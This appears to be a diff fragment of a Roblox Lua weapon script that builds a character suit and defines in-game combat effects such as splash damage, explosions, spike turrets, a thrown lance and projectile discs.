- a.insw[tn][2]["a0x"],a.insw[tn][2]["a0y"],a.insw[tn][2]["a0z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
- elseif c0orc1==1 then
- a.insw[tn][2]["p1x"],a.insw[tn][2]["p1y"],a.insw[tn][2]["p1z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
- elseif c0orc1==3 then
- local x,y,z=wexx.C0.x,wexx.C0.y,wexx.C0.z
- a.insw[tn][2]["p0x"],a.insw[tn][2]["p0y"],a.insw[tn][2]["p0z"]=x2-(((x2-aa)/twa)*i),y2-(((y2-bb)/twa)*i),z2-(((z2-cc)/twa)*i)
- local x,y,z=wexx.C1:toEulerAnglesXYZ()
- a.insw[tn][2]["a1x"],a.insw[tn][2]["a1y"],a.insw[tn][2]["a1z"]=xx2-(((xx2-rd(xx))/twa)*i),yy2-(((yy2-rd(yy))/twa)*i),zz2-(((zz2-rd(zz))/twa)*i)
- end end
- to["Left Hip"].Part0=to to["Right Hip"].Part0=to to["Left Shoulder"].Part0=to to["Right Shoulder"].Part0=to
- if c:findFirstChild("S" .. "uit") then game:service'Debris':AddItem(c["Su" .. "it"],0.035) end
- m=it("Model",c) m.Name="Suit"
- re(c,"Block")
- Block=it("BoolValue",c) Block.Value=false Block.Name="Block"
- Misc={}
- Misc["x"]=it("Model",m)
- invis(c)
- p={}
- t = pa(m,"Torso","Block",0,0,0,false,false,0,0,ts(to.BrickColor)) tw = weld(t,to,t,0,0,0,0,0,0)
- la = pa(m,"Left Arm","Block",0,0,0,false,false,0,0,ts(c["Left Arm"].BrickColor)) law = weld(la,t,la,-1.5,1,0,0,0,0)
- ra = pa(m,"Right Arm","Block",0,0,0,false,false,0,0,ts(c["Right Arm"].BrickColor)) raw = weld(ra,t,ra,1.5,1,0,0,0,0)
- ll = pa(m,"Left Leg","Block",0,0,0,false,false,0,0,ts(c["Left Leg"].BrickColor)) llw = weld(ll,t,ll,-0.5,-1,0,0,0,0)
- rl = pa(m,"Right Leg","Block",0,0,0,false,false,0,0,ts(c["Right Leg"].BrickColor)) rlw = weld(rl,t,rl,0.5,-1,0,0,0,0)
- hd.Parent=m hd.Transparency=0 hd.face.Face="Front" hw=weld(hd,t,hd,0,1.5,0,0,0,0) he.face.Face="Bottom"
- local nbb=it("BlockMesh") nbb.Offset=v3(0,-1,0) nbb.Scale=v3(5,10,5)
- nbb:Clone''.Parent=la nbb:Clone''.Parent=ra nbb:Clone''.Parent=ll nbb:Clone''.Parent=rl
- nbb:Clone''.Parent=t t.Mesh.Offset=v3(0,0,0) t.Mesh.Scale=Vector3.new(10,10,5)
- pcall(function() c.Shirt:Remove'' end) pcall(function() c.Pants:Remove'' end)
- to["Left Hip"].Part0=t to["Right Hip"].Part0=t to["Left Shoulder"].Part0=t to["Right Shoulder"].Part0=t
- Armb=true Armb2=true
- Legb=true Legb2=true
- function Armz(ison) Armb=ison if ison then
- c["Left Arm"].Transparency=0 c["Right Arm"].Transparency=0 la.Transparency=1 ra.Transparency=1
- law.Part0=c["Left Arm"] law.C0=cf(0,1,0) raw.Part0=c["Right Arm"] raw.C0=cf(0,1,0)
- else
- c["Left Arm"].Transparency=1 c["Right Arm"].Transparency=1 la.Transparency=0 ra.Transparency=0
- law.Part0=t law.C0=cf(-1.5,1,0) raw.Part0=t raw.C0=cf(1.5,1,0)
- end end
- function Legz(ison) Legb=ison if ison then
- c["Left Leg"].Transparency=0 c["Right Leg"].Transparency=0 ll.Transparency=1 rl.Transparency=1
- llw.Part0=c["Left Leg"] llw.C0=cf(0,1,0) rlw.Part0=c["Right Leg"] rlw.C0=cf(0,1,0)
- else
- c["Left Leg"].Transparency=1 c["Right Leg"].Transparency=1 ll.Transparency=0 rl.Transparency=0
- llw.Part0=t llw.C0=cf(-0.5,-1,0) rlw.Part0=t rlw.C0=cf(0.5,-1,0)
- end end function Headz(ison) if ison then he.Transparency=0 else end end
- Legz(true) Armz(true) newhats(c,hd,he)
- hax2sazc = "BUTTSEXSYSTEM"
- function Sound(sidz,pit,vol,parz) local sid=sidz if sid:sub(1,3) ~= "rbx" then sid = asset .. sid end local parx = to if parz then parx = parz end cw(function() local sou = it("Sound") sou.SoundId = sid sou.Pitch = pit sou.Volume = vol/1.5 sou.Parent = parx game:service'Lighting'[hax2sazc].Value = sou w(5) sou:Remove'' end) end
- mp=mpvalue maxmp=mp ns=18
- function addmp(mpz) mp=mp + mpz if mp > maxmp then mp=maxmp end end
- function SplashDmg(tehsit,pos,dmgx,mag,forc) cw(function()
- local function dive(obj) for i,v in pairs(obj:children()) do if i%(#obj:children()/5)==0 then w() end --if i%antisplashdamagesexhack==0 then w() end --i%(#obj:children()/4)==0 then w() end
- if not v:IsA("Model") and v ~= to and v:IsA("BasePart") and v.Name=="Torso" and getclass(v.Parent,"Humanoid") ~= nil and (v.Position - pos).magnitude < mag then local av=getclass(v.Parent,"Humanoid") Dmgz(true,av,dmgx,v) if tehsit then av.Sit=true end
- elseif v:IsA("BasePart") and (v.Position-pos).magnitude < mag and not v.Anchored and v:GetMass() < 200 and v.Name ~= "Handle" and findclass(v.Parent,"Humanoid") <1 and findclass(v.Parent.Parent,"Humanoid") <1 and v.Parent.Parent.Name ~= "Suit" then if (v.Position-pos).magnitude < mag/2 then v:BreakJoints() v.CFrame=cf(v.Position,pos)*ca(0,rd(180),0) end v.Velocity=cf(pos,v.Position).lookVector*forc
- else cw(function() if #v:children() > 0 and not v:IsA("BasePart") and v.className~="Script" and v.className~="Camera" then dive(v) end end) end
- end end -- func and loop end
- dive(workspace) end) end
- function BlastMesh(col2,pos,adjus2,sc) local adjus=adjus2 *cf(0,-0.12*sc,0) local spi=pa(m,"","Block",0,0,0,false,false,1,0,col2) spi.Anchored=true local spim=it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Crown spim.Scale=v3(sc*1.4,(sc*0.4),sc*1.4) cw(function() local fu=spim.Scale local spix=0 for i=1,0.4,-0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(((fu.x*i)/2)+(fu.x/2),fu.y,((fu.z*i)/2)+(fu.z/2)) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end for i=0.4,1,0.05 do spix=spix + 15 spi.Transparency=i spim.Scale=v3(fu.x*i,fu.y,fu.z*i) spi.CFrame=pos.CFrame *adjus *ca(0,rd(spix),0) w() end spi:Remove'' end) end
- function GlowMesh(anch,meshid2,rootz,mv3,colzz,adjus)
- local spi=pa(m,"","Block",1,1,1,false,false,0.3,0,colzz) local spim=it("SpecialMesh",spi) if meshid2:lower()=="sphere" then spim.MeshType="Sphere" elseif meshid2:lower()=="block" then spim.MeshType="Brick" else spim.MeshType="FileMesh" spim.MeshId=meshid2 end
- if anch then local spiw=weld(spi,rootz,spi,0,0,0,0,0,0) spiw.C0 =spiw.C0 *adjus else spi.Anchored=true spi.CFrame=rootz.CFrame *adjus end
- cw(function() for i=0.3,0.9,0.03 do spi.Transparency=i spim.Scale=mv3*(i+0.1) w() end spi:Remove'' end)
- end
- function Explode(onb,scz,colzz,dmge) cw(function() local scale=scz*2 local scale2=scale*0.825
- local e1=pa(m,"","Block",0,0,0,false,false,0.3,0,colzz) e1.Anchored=true e1.CFrame=onb*ca(rd(-90),0,0) local e1m=it("SpecialMesh",e1) e1m.MeshType="FileMesh" e1m.MeshId=asset .. Decs.Ring
- local e2=pa(m,"","Block",0,0,0,false,false,0.3,0,colzz) e2.Anchored=true e2.CFrame=onb*ca(0,0,0) local e2m=it("SpecialMesh",e2) e2m.MeshType="FileMesh" e2m.MeshId=asset .. Decs.Ring
- local e3=pa(m,"","Block",0,0,0,false,false,0.3,0,colzz) e3.Anchored=true e3.CFrame=onb*ca(0,0,0) local e3m=it("SpecialMesh",e3) e3m.MeshType="FileMesh" e3m.MeshId=asset .. Decs.Crown
- SplashDmg(false,onb.p,dmge,scale/1.6,125) cw(function() for i=0.4,1,0.04 do w() end fade(e1,0.1) fade(e2,0.1) fade(e3,0.1) end) for i=0.3,1,0.035 do
- e3m.Scale=v3((scale2/1.3)*i,(scale2/2)*i,(scale2/1.3)*i) e2m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1m.Scale=v3((scale2*1.3)*i,(scale2*1.3)*i,(scale2*1.3)*i) e1.CFrame=onb*ca(rd(-90),rd(360),0) e2.CFrame=onb*ca(0,rd(360),0) e3.CFrame=onb*ca(rd(180),rd(360),0) w()
- end
- end) end
- function FacePos(ob,pos,pos2,adj3,adj2,adj,forsec) local bg=it("BodyGyro",ob) bg.maxTorque=adj2 bg.D=adj3 bg.cframe=cf(pos,pos2) *adj game:service'Debris':AddItem(bg,forsec) end
- function splat2(pos,dmge)
- local dbr=it("Model",workspace) local colz2="Bright red" if ts(dmge)=="Block!" then colz2="Bright blue" end
- dbr.Name=ts(dmge) local dbri=pa(dbr,"Head","Block",1,0,1,false,false,0,0,colz2) it("Humanoid",dbr).MaxHealth=0
- dbri.Anchored=true dbri.CFrame=cf(pos + v3(rn(-15,15)/10,3,rn(-15,15)/10)) game:service'Debris':AddItem(dbr,0.5) end
- local DBDH={}
- function Dmgz(blockz,aihu,dmgzz2,pos) if ft(DBDH,aihu.Parent) then return end if aihu.Health==0 then return end if aihu.Parent:findFirstChild("ForceField") then return end dmgdeb2=true cw(function() if (aihu.Parent:findFirstChild("Block") and aihu.Parent.Block:IsA("BoolValue") and aihu.Parent.Block.Value and not blockz) or pos.Name:lower()=="shield" then splat2(pos.Position,"Bl" .. "ock!") w(0.2) Sound(Sounds.Block,1.4,3) return end
- local dmgzz=dmgzz2 if game:service'Players':findFirstChild(aihu.Parent.Name) == nil then dmgzz=dmgzz*1.5 end ti(DBDH,aihu.Parent) addmp(dmgzz/2.5) if rn(1,a.cr[1]) == 1 then aihu:TakeDamage(maxdmg + critmaxplus) dmgzz="Critical! " ..ts(maxdmg + critmaxplus) else dmgzzz = math.random(mindmg,maxdmg) aihu:TakeDamage(dmgzzz) dmgzz = dmgzzz end if not pos then return end splat2(pos.Position,dmgzz) cw(function() w(0.08) tr(DBDH,ft(DBDH,aihu.Parent)) end)
- end) end
- function rayHit(wai,lolk,weplol,adjus,magz,mind,maxd,gain) local DebounceTable2={} cw(function()
- local hitx=0 local tymzup=false cw(function() w(wai) tymzup=true end)
- repeat w() local tries=0 local bhit,bpos=nil,v3(999,999,999)
- repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
- bhit,bpos=ray((weplol.CFrame *adjus *cf(xx,yy,-0.8)).p,weplol.Position - (weplol.CFrame *adjus *cf(0,0,2)).p)
- if bhit ~= nil and (bpos - weplol.Position).magnitude < magz+0.8 then break end until tries > 8
- if bhit==nil or (bpos - weplol.Position).magnitude > magz+0.8 then else local brea=false
- for i,v in pairs(bhit.Parent:children()) do local dmge=rn(mind,maxd)
- if v:IsA("Humanoid") and not DebounceTable2[v.Parent.Name] then DebounceTable2[v.Parent.Name]=true Dmgz(false,v,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 brea=true break end end
- if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do local dmge=rn(mind,maxd)
- if v.Parent:findFirstChild("Humanoid") and not DebounceTable2[v.Parent.Parent.Name] then DebounceTable2[v.Parent.Parent.Name]=true Dmgz(false,v.Parent.Humanoid,dmge,bhit) Sound(Sounds.Smash,0.9,1) hitx=hitx+1 break end end
- end
- end until hitx >= lolk or tymzup end) end
- function rayHit2(weplol,adjus,magz)
- local tries=0 local bhit,bpos=nil,v3(999,999,999)
- repeat tries=tries + 1 local xx=0 local yy=0 if tries==1 then xx=1 elseif tries==2 then xx=-1 elseif tries == 3 then yy=1 elseif tries == 4 then yy=-1 elseif tries == 5 then xx=-1 yy=-1 elseif tries == 6 then xx,yy=1,1 elseif tries == 7 then xx,yy=-1,1 elseif tries == 8 then xx,yy=1,-1 end
- bhit,bpos=ray((weplol.CFrame *adjus *cf(xx,yy,-0.8)).p,weplol.Position - (weplol.CFrame *adjus *cf(0,0,2)).p)
- if bhit ~= nil and (bpos - weplol.Position).magnitude < magz+0.8 then break end until tries > 8
- if bhit==nil or (bpos - weplol.Position).magnitude > magz+0.8 then else
- for i,v in pairs(bhit.Parent:children()) do
- if v:IsA("Humanoid") then return bhit,v end end
- if bhit.Parent ~= workspace and not brea then for i,v in pairs(bhit.Parent.Parent:children()) do
- if v.Parent:findFirstChild("Humanoid") then return bhit,v.Parent.Humanoid end end
- end end
- end
- function SummonProjectile(obj,spp,sc,meshidz,dmge,colzz,scalz) cw(function()
- local sum=pa(m,"","Block",4*sc,0,4*sc,false,false,1,0,"") sum.Anchored = true local sumd = it("Decal",sum) sumd.Face = "Top" sumd.Texture = asset .. Decs.EF1 sum.CFrame = obj.CFrame*spp
- local pro=pa(m,"","Block",2*sc,5,2*sc,true,false,0.05,0.3,colzz) pro.Anchored = true local prom = it("SpecialMesh",pro) prom.MeshType = "FileMesh" prom.Scale = scalz*sc prom.MeshId = meshidz
- pro.CFrame = sum.CFrame*cf(0,-4*sc,0.5*sc)*ca(rd(-10),0,0) it("Fire",pro) pro.Fire.Heat = 25 pro.Fire.Size = 7 pro.Fire.SecondaryColor = bc("White").Color pro.Fire.Color = bc("Really blue").Color
- sum.CFrame = sum.CFrame*cf(0,-0.5*sc,0) local tro = false cw(function() repeat sum.CFrame = sum.CFrame*ca(0,rd(15),0) w() until tro end)
- local pcf = pro.CFrame local scf = sum.CFrame for i=0,1,0.1 do pro.CFrame = pcf*cf(0,(6.5*sc)*i,0) sum.CFrame = scf*cf(0,(0.25*sc)*i,0)*ca(0,rd(360*i),0) w() end
- SplashDmg(false,sum.Position,dmge,6*sc,50) w(1.2) for i=1,0,-0.1 do pro.CFrame = pcf*cf(0,(6.5*sc)*i,0) sum.CFrame = scf*cf(0,(0.25*sc)*i,0) w() end tro = true sum:Remove'' pro:Remove''
- end) end
- function DmgHit(tym,weplol,mind,maxd,gain) cw(function() local iztym=false weplol.Touched:connect(function(hit)if hit.Parent:findFirstChild("Humanoid")==nil or iztym then return end
- local aihu=hit.Parent.Humanoid local dmge=rn(mind,maxd) Dmgz(false,aihu,dmge,hit) Sound(Sounds.Smash,1,1) end) end) end
- function RaiseBubble(poscf,sc,hax2,colzz) cw(function()
- local dis=pa(m,"","Block",0,0,0,false,false,0.4,0,colzz) dis.Anchored=true local dism=it("SpecialMesh",dis) dism.MeshType="Sphere"
- dism.Scale=v3(0.8*sc,1.3*sc,0.8*sc) dism.Scale=dism.Scale*5 local dsm=dism.Scale dis.CFrame=poscf *cf(rn(-hax2*sc,hax2*sc)/10,-1.5*sc,rn(-80*sc,80*sc)/10)
- for i=0.4,1,0.05 do dis.CFrame=dis.CFrame *cf(0,1*sc,0) dis.Transparency=i-0.15 dism.Scale=v3(dsm.x-((dsm.x/2)*i),dsm.y,dsm.x-((dsm.x/2)*i)) w() end dis:Remove''
- end) end
- function FireDisc(colz,sc,mind,maxd,spawnpos) cw(function()
- local dis=pa(m,"","Block",sc,0,sc,false,false,1,0,colz) local dis2=pa(m,"","Block",sc,0,sc,false,false,0.5,0.1,colz)
- dis.Anchored=true dis2.Anchored=true local dism=it("CylinderMesh",dis2)
- dis.CFrame=spawnpos dis2.CFrame=dis.CFrame*ca(0,0,rd(90))
- local spi=dis
- local bullethit=false
- local tyms=0
- local minusz=-0.0001
- local spid=0.25
- local divzz=14
- local tehpos=v3(0,0,0) Sound(Sounds.Spin,1.3,1)
- repeat
- tyms=tyms + 2 minusz=(-90/80/divzz)*tyms
- local bhit,bpos=ray(spi.Position,spi.Position - (spi.CFrame *cf(0,0,2)).p) tehpos=bpos
- if bpos ~= nil and (bpos - (spi.CFrame *cf(0,1,0)).p).magnitude < 30 then bullethit=bhit else spi.CFrame=spi.CFrame *cf(0,0,-5) *ca(rd(minusz),0,0) end
- if rn(1,6)==1 then Sound(Sounds.Spin,1.3,1) end dis2.CFrame=spi.CFrame*ca(rd(rn(-16,16)),rd(rn(-16,16)),rd(90+rn(-16,16))) w() until bullethit or spi.Position.y < -300 or tyms > 500
- dis:Remove'' dis2:Remove'' local xx,yy,zz=dis.CFrame:toEulerAnglesXYZ()
- if bullethit then
- local sc2=sc/5
- local spi2=pa(m,"","Block",0.3*sc2,6*sc2,0.3*sc2,true,false,0,0,"New Yeller") spi2.Anchored=true
- local spim=it("SpecialMesh",spi2) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.2*sc2,6*sc2,0.2*sc2)
- spi2.CFrame=cf(tehpos) *ca(xx,yy,zz) *cf(0,0,1.5*sc2) *ca(rd(-90),0,0) game:service'Debris':AddItem(spi2,10)
- spi.Velocity=v3(0,0,0) local xx,yy,zz=spi.CFrame:toEulerAnglesXYZ() spi.CFrame=cf(tehpos) *ca(xx,yy,zz) *cf(0,-spi.Size.y/9,0)
- if a.a=="Spikes" then if a.b=="SpikeDisc" then if achdsc then bullethit.Anchored=false end if brkdsc then bullethit:BreakJoints() end end end
- if bullethit.Anchored then Sound(Sounds.Smash,0.6,1) else
- if bullethit.Parent:findFirstChild("Humanoid") then spi.CanCollide=false
- spi2.CanCollide=false spi2.Anchored=false stick(spi2,bullethit) local aihu=bullethit.Parent.Humanoid Sound(Sounds.Smash,1.35,1) Dmgz(false,aihu,rn(mind,maxd),bullethit)
- elseif bullethit.Parent.Parent:findFirstChild("Humanoid") then spi.CanCollide=false
- spi2.CanCollide=false spi2.Anchored=false stick(spi2,bullethit) local aihu=bullethit.Parent.Parent.Humanoid Sound(Sounds.Smash,1.35,1) Dmgz(false,aihu,rn(mind,maxd),bullethit)
- elseif bullethit:GetMass() < 500 and bullethit.Parent:findFirstChild("Humanoid")==nil and bullethit.Parent.Parent:findFirstChild("Humanoid")==nil then
- spi2.CanCollide=false spi2.Anchored=false stick(spi2,bullethit) Sound(Sounds.Smash,0.6,1) if bullethit.Parrent.Parent:findFirstChild("Humanoid")==nil then bullethit:BreakJoints() bullethit.Velocity=spi.CFrame.lookVector*80 end
- end
- end
- end
- end) end
- function ThrowLance(mo) local paws=mou.Hit.p mo.shield:Remove'' mo.han.Weld:Remove'' cw(function() mo.Parent=m local fiar=it("Fire",mo.spike) fiar.Color=bc("Navy blue").Color fiar.SecondaryColor=bc("Navy blue").Color fiar.Heat=-25 fiar.Size=20
- local tip=mo.spiketip local root=mo.han Trail2(9999,root,0.2,"",2,cf(0,-1,0)) local rps=it("BodyPosition",root) rps.position=(cf(root.Position,mou.Hit.p)*cf(0,0,10)).p rps.maxForce=v310 local rbg=it("BodyGyro",root) rbg.cframe=cf(root.Position,mou.Hit.p)*ca(rd(90),0,0) rbg.D=15 rbg.maxTorque=v310
- local bhit=nil local bpos=v3(0,0,0) local tyms=0 local hitted=false tip.Touched:connect(function() tip.Anchored=true hitted=true end)
- repeat tyms=tyms + 1
- bhit,bpos=ray(tip.Position,tip.Position - (tip.CFrame *cf(0,2,0)).p)
- if bhit ~= nil and (bpos - tip.Position).magnitude < 8 then hitted=true break else
- rps.position=(root.CFrame*cf(0,-30,0)).p rbg.cframe=cf(root.Position,paws)*ca(rd(90-(0.2*tyms)),0,0)
- end
- w() until hitted or tyms > 120 root.Anchored=true rtab(sTrail,root)
- Explode(tip.CFrame,9,raigcol2,40) SpawnKillZone(tip.CFrame,rn(12,18)/10,10,"Really black")
- w(2) for i=0,1,0.02 do for ii,v in pairs(mo:children()) do v.Transparency=i end w() end mo:Remove''
- end) end
- function SpawnKillZone(spawnpos,sc,dur,colzz) cw(function() Sound(Sounds.Smash,0.4,1)
- local spi=pa(m,"oo","Block",1*sc,8*sc,1*sc,true,false,0,0,"Black") spi.Anchored=true local spim= it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike spim.Scale=v3(0.7*sc,9*sc,0.7*sc)
- local spi2=pa(m,"oo","Block",0,0,0,false,false,0,0,"White") spi2.Anchored=true local spi2m= it("SpecialMesh",spi2) spi2m.MeshType="FileMesh" spi2m.TextureId=asset .. Decs.TSkull1 spi2m.MeshId=asset .. Decs.Skull1 spi2m.Scale=v3(1*sc,1*sc,1*sc)
- for i=-13,2,1 do spi.CFrame=spawnpos *cf(0,i*sc,0) spi2.CFrame=spi.CFrame*cf(0,2.3*sc,0) w() end Sound(Sounds.Ghost,1.05,1) local kil=true
- cw(function() repeat GlowMesh(false,"Sphere",spi,v3(18*sc,0.2*sc,18*sc),colzz,cf(0,-2.6*sc,0))
- w(0.5) SplashDmg(false,spi.Position,7,8.5*sc,30) GlowMesh(false,"Sphere",spi,v3(18*sc,0.2*sc,18*sc),colzz,cf(0,-2.6*sc,0)) w(0.5)
- until not kil end)
- w(dur) kil=false
- for i=2,-13,-0.25 do spi.CFrame=spawnpos *cf(0,i*sc,0) spi2.CFrame=spi.CFrame*cf(0,2.3*sc,0) w() end spi:Remove'' spi2:Remove''
- end) end
- function SpawnSpikeTurret(spawnpos,sc,dur,tmag,mulz)
- local colzz="New Yeller" if mulz < 0 then colzz="White" end
- cw(function() Sound(Sounds.Smash,0.255,1)
- local stem=pa(m,"oo","Block",2.5*sc,5*sc,2.5*sc,true,false,0,0,"Earth green") stem.Anchored=true it("CylinderMesh",stem)
- stem.CFrame=spawnpos *cf(0,-10*sc,0)
- local bal=pa(m,"oo","Ball",3.5*sc,3.5*sc,3.5*sc,true,false,0,0,"Earth green") bal.Anchored=true
- local pcf=cf(0,((5/2)+(3.5/3))*sc,0) bal.CFrame=stem.CFrame *pcf
- for i=-11,0,0.5 do w()
- stem.CFrame=stem.CFrame *cf(0,0.5*sc,0) bal.CFrame=stem.CFrame *pcf
- end
- local spis={} local Visib=true if mulz > 0 then SplashDmg(false,bal.Position,12,6*sc,70) end
- for i=1,rn(35,45) do
- local spi=pa(m,"oo","Block",0.3*sc,3*sc,0.3*sc,true,false,0,0,colzz) spi.Anchored=true local spim= it("SpecialMesh",spi) spim.MeshType="FileMesh" spim.MeshId=asset .. Decs.Spike
- spi.CFrame=bal.CFrame *ca(rn(-360,360),rn(-360,360),rn(-360,360)) spim.Scale=v3(0.5*sc,5*sc,0.5*sc)
- ti(spis,spi) cw(function() for i=1,12 do spi.CFrame=spi.CFrame *cf(0,0.25*sc,0) w() end end)
- end spis[#spis].Mesh:Remove'' it("CylinderMesh",spis[#spis]).Scale=v3(4,1.3,4) spis[#spis].BrickColor=bc("Earth green")
- cw(function()
- repeat w(2) local torses= {}
- for i,v in pairs(Serv.kirby8852:children()) do if not hittedlol and (v.Character ~= c or mulz < 0) and v.Character ~= nil and v.Character:findFirstChild("Torso") and (v.Character.Torso.Position - bal.Position).magnitude < tmag then
- ti(torses,v.Character.Torso) end end
- if #torses > 0 then local lolcf=cf(bal.Position,torses[rn(1,#torses)].Position+v3(rn(-110,110)/100,rn(-110,150)/100,rn(-110,110)/100)) *cf(0,0,-6*sc)
- spis[#spis].CFrame=lolcf*cf(0,0,3.5*sc) *ca(rd(90),0,0) ShootSpike(15,c,colzz,mulz,sc*2,lolcf,false,3,nil) end
- until not Visib end)
- w(dur) Visib=false for x=1,#spis do local spi=spis[x] if rn(1,3)==3 then ShootSpike(15,c,colzz,mulz,sc*2,cf(spi.Position,(spi.CFrame *cf(0,0,-1)).p)*cf(0,0,-8),false,3,nil) end spis[x]:Remove'' end
- for i=-11,0,0.5 do w()
- stem.CFrame=stem.CFrame *cf(0,-0.5*sc,0)
- bal.CFrame=stem.CFrame *pcf
- end bal:Remove'' stem:Remove''
- end)
- end
- function CreateLance() a.s.Lancet="Black" local colx={"Dark stone grey","Really black","Dark stone grey"} local ref=0.15
- local han=pa(Misc["v"],"han","Block",0.75,1.75,0.75,false,false,0,0,colx[3]) it("CylinderMesh",han) local hanw=weld(han,ra,han,0,-2.25,0,rd(90),0,0) hanw.C1=cf(0,0.8,0)
- Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han.Mesh.Scale=v3(1,1.5*i,1) w() end
- local han2=pa(Misc["v"],"han2","Block",1,1,1,false,false,0,ref,colx[1]) it("CylinderMesh",han2) local han2w=weld(han2,han,han2,0,-1.25,0,0,0,0)
- Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han2.Mesh.Scale=v3(3*i,1*i,3*i) w() end
- cw(function() for xi=0,360,360/8 do local han3=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local han3w=weld(han3,han2,han3,0,0,0,rd(90),0,rd(xi)) han3w.C0=han3w.C0 *ca(rd(-18),0,0) local han3m=it("SpecialMesh",han3) han3m.MeshType="FileMesh" han3m.MeshId=asset .. Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do han3w.C1=cf(0,-2*i,-0.4) han3.Mesh.Scale=v3(0.25*i,2*i,0.25*i)w() end end) w() end end)
- cw(function() for xi=0,360,120 do local han3=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local han3w=weld(han3,han2,han3,0,0,0,rd(90),0,rd(xi)) han3w.C0=han3w.C0 *ca(rd(-80),0,0) local han3m=it("SpecialMesh",han3) han3m.MeshType="FileMesh" han3m.MeshId=asset .. Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do han3w.C1=cf(0,-1*i,-1*i) han3.Mesh.Scale=v3(0.2*i,1.5*i,0.2*i)w() end end) w() end end)
- w(0.3) local han3=pa(Misc["v"],"spike","Block",0,0,0,false,false,0,ref,colx[1]) local han3w=weld(han3,han2,han3,0,0,0,rd(180),0,0) local han3m=it("SpecialMesh",han3) han3m.MeshType="FileMesh" han3m.MeshId=asset .. Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do han3w.C1=cf(0,-5.2*i,0) han3.Mesh.Scale=v3(1.5*i,5+(7.5*i),1.5*i) w() end end)
- cw(function() w(0.05) for xi=0,360,360/5 do local han4=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local han4w=weld(han4,han2,han4,0,0,0,rd(90),0,rd(xi)) han4w.C0=han4w.C0 *ca(rd(-25),0,0) local han4m=it("SpecialMesh",han4) han4m.MeshType="FileMesh" han4m.MeshId=asset .. Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do han4w.C1=cf(0,1+(-0.6*i),-4) han4.Mesh.Scale=v3(0.25*i,2*i,0.25*i) w() end end) w() end end)
- local han4=pa(Misc["v"],"spiketip","Block",0,0,0,false,false,0,ref,colx[1]) local han4w=weld(han4,han3,han4,0,0,0,0,0,0) local han4m=it("SpecialMesh",han4) han4m.MeshType="FileMesh" han4m.MeshId=asset .. Decs.Spike Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han4w.C1=cf(0,-4*i,0) han4.Mesh.Scale=v3(0.6*i,3*i,0.6*i) w() end
- cw(function() w(0.2) for xi=0,360,120 do local han8=pa(Misc["v"],"spiek","Block",0,0,0,false,false,0,ref,colx[2]) local han8w=weld(han8,han4,han8,0,1,0,rd(90),0,rd(xi)) han8w.C0=han8w.C0 *ca(rd(-60),0,0) local han8m=it("SpecialMesh",han8) han8m.MeshType="FileMesh" han8m.MeshId=asset .. Decs.Spike Sound(Sounds.Unsheath,1.2,1) cw(function() for i=0,1,0.1 do han8w.C1=cf(0,1+(-0.6*i),-0.7) han8.Mesh.Scale=v3(0.12*i,0.75*i,0.12*i) w() end end) w() end end)
- w(0.25) Sound(Sounds.Slash,0.35,1) cw(function() c1(hanw,0.1,1,0,0.8,0,0,0,-65) c1(hanw,0.05,1,0,0.8,0,180,0,45) end) cw(function() c1(law,0.05,3,-1.3,1,-0.2,-30,0,18) end) cw(function() c1(raw,0.05,3,1,0.5,0,0,0,-90) c1(raw,0.05,3,0.7,0.8,0,45,0,-150) end)
- local han5=pa(Misc["v"],"shield","Block",0,0,0,false,false,0,0.2,colx[3]) it("BlockMesh",han5) local han5w=weld(han5,la,han5,-0.6,-(2.5/2),0,rd(55),rd(0),rd(90)) Sound(Sounds.Unsheath,1.2,1) for i=0,1,0.1 do han5.Mesh.Scale=v3(3*i,0.25*i,2.5*i)*5 w() end
- end
- function ShootLanceBullet(spawnpos,sc,dmge) cw(function() Sound(Sounds.Fire1,0.5,1) local roflz=false for xx=1,3 do cw(function()
- local proj=pa(m,"Bullet","Block",0.8*sc,1.1*sc,0.8*sc,true,false,0,0,"Black") it("CylinderMesh",proj) proj.Anchored=true
- if xx == 1 then proj.CFrame=cf(spawnpos.Position,mou.hit.p) *cf(0,0.45,0.5)*ca(rd(90),0,0)
- elseif xx == 2 then proj.CFrame=cf(spawnpos.Position,mou.hit.p) *cf(-0.5,-0.45,0.5)*ca(rd(90),0,0)
- elseif xx == 3 then proj.CFrame=cf(spawnpos.Position,mou.hit.p) *cf(0.5,-0.45,0.5)*ca(rd(90),0,0)
- end local tyms=0 local bhit,bpos=nil,nil
- repeat tyms=tyms + 1
- bhit,bpos=ray(proj.Position,proj.Position - (proj.CFrame *cf(0,1,0)).p)
